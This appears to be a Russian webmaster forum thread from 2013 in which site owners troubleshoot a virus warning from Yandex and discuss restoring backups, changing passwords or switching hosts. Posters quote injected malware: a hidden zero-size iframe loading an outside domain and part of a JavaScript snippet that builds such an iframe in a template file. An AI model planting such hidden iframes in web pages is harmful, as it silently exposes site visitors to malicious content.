Яндекс нашел вирус на сайте

M
На сайте с 14.08.2012
Offline
51
#11
medik777:
у меня тоже такой фрейм(
<iframe name="ifn2i8N" src="http://asnem.listen-it.com/" style="width: 0px; height: 0px;"/>
в папках шаблона я его особо не нашёл. как он мог попасть на сайта? пароли постоянно меняю(параноя), админку врядли могли взломать, так как там фишка есть одна, я бы сразу заметил. может через хостера? хостинг ********.net, на всех сайтах что у них, появились эти говнючие фреймы.

---------- Добавлено 07.08.2013 в 09:20 ----------

хостинг: хостлайф

у меня хостинг другой. Может как то через код партнерки? Нашел по пути /папка сайта/templates/папка шаблона/javascript в файле с именем hide.js , строка 309

код вида var if9KRu = document.createElement('iframe');if9KRu.name = 'if9KRu';if9KRu.src = 'http://******

medik777
На сайте с 29.07.2012
Offline
15
#12

у меня из партнерок только РСЯ стоит, у меня движок полу-самопис, у меня нету 309-ых строк.

M
На сайте с 14.08.2012
Offline
51
#13
medik777:
у меня из партнерок только РСЯ стоит, у меня движок полу-самопис, у меня нету 309-ых строк.

попробуйте найти по тексту var ifn2i8N в файлах

кстати сегодня в панели гугл вебмастер тоже предупреждение о наличии кода, они указали полный путь к файлу где лежит вредоносный код

medik777
На сайте с 29.07.2012
Offline
15
#14

ничего не найдено, у меня есть бекапы месячной даности. вот думаю, поставить бэкапы и сменить пароли, или лучше поставить бэкапы на новый хостинг, вдруг у этого хостера дыра какая? склоняюсь к смене хостера.

TF-Studio
На сайте с 17.08.2010
Offline
334
#15

а сайт прям идеальный код имеет и дыры там быть не может...

Всё ещё лучший способ заработка для белых сайтов: GoGetLinks (https://www.gogetlinks.net/?inv=fahbn8).
medik777
На сайте с 29.07.2012
Offline
15
#16

Возможно и на сайте есть проблемы, могу скинуть в ЛС урл, если не трудно, оцените.

Я с телефонов заходил на сайт, никуда не перенаправляло.

---------- Добавлено 07.08.2013 в 11:12 ----------

Кто как думает может быть дыра у хостера? Я чистить сайты не буду, у меня есть бэкапы месячной давности, проще их поставить, но кто как лучше думает, сменить хостинг, или просто для начала сменить пароли?

Просто не хотелось бы чтобы каждыйраз взламывали, ведь по сайту ведуться работы, и не желательно каждый раз откатывать назад.

NM
На сайте с 18.02.2011
Offline
184
#17

medik777, как то это странно все... У меня тоже проблемный сайт на хостлайфе.

P.S. Сайт на DLE

https://clck.ru/37jxNm пытаюсь здесь отбить просадку в РСЯ Распродажа сайтов https://docs.google.com/spreadsheets/d/1m63GJQUZMrrhTxT2aoAQBX_722Kte2PfvTQEON_SgGE/
medik777
На сайте с 29.07.2012
Offline
15
#18

NewMoneyMaker тоже iframe?

TF-Studio
На сайте с 17.08.2010
Offline
334
#19

Бекапы надо делать постоянно, лучше на автомате.

NM
На сайте с 18.02.2011
Offline
184
#20

medik777, еще не разобрался... Как проще его найти?

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий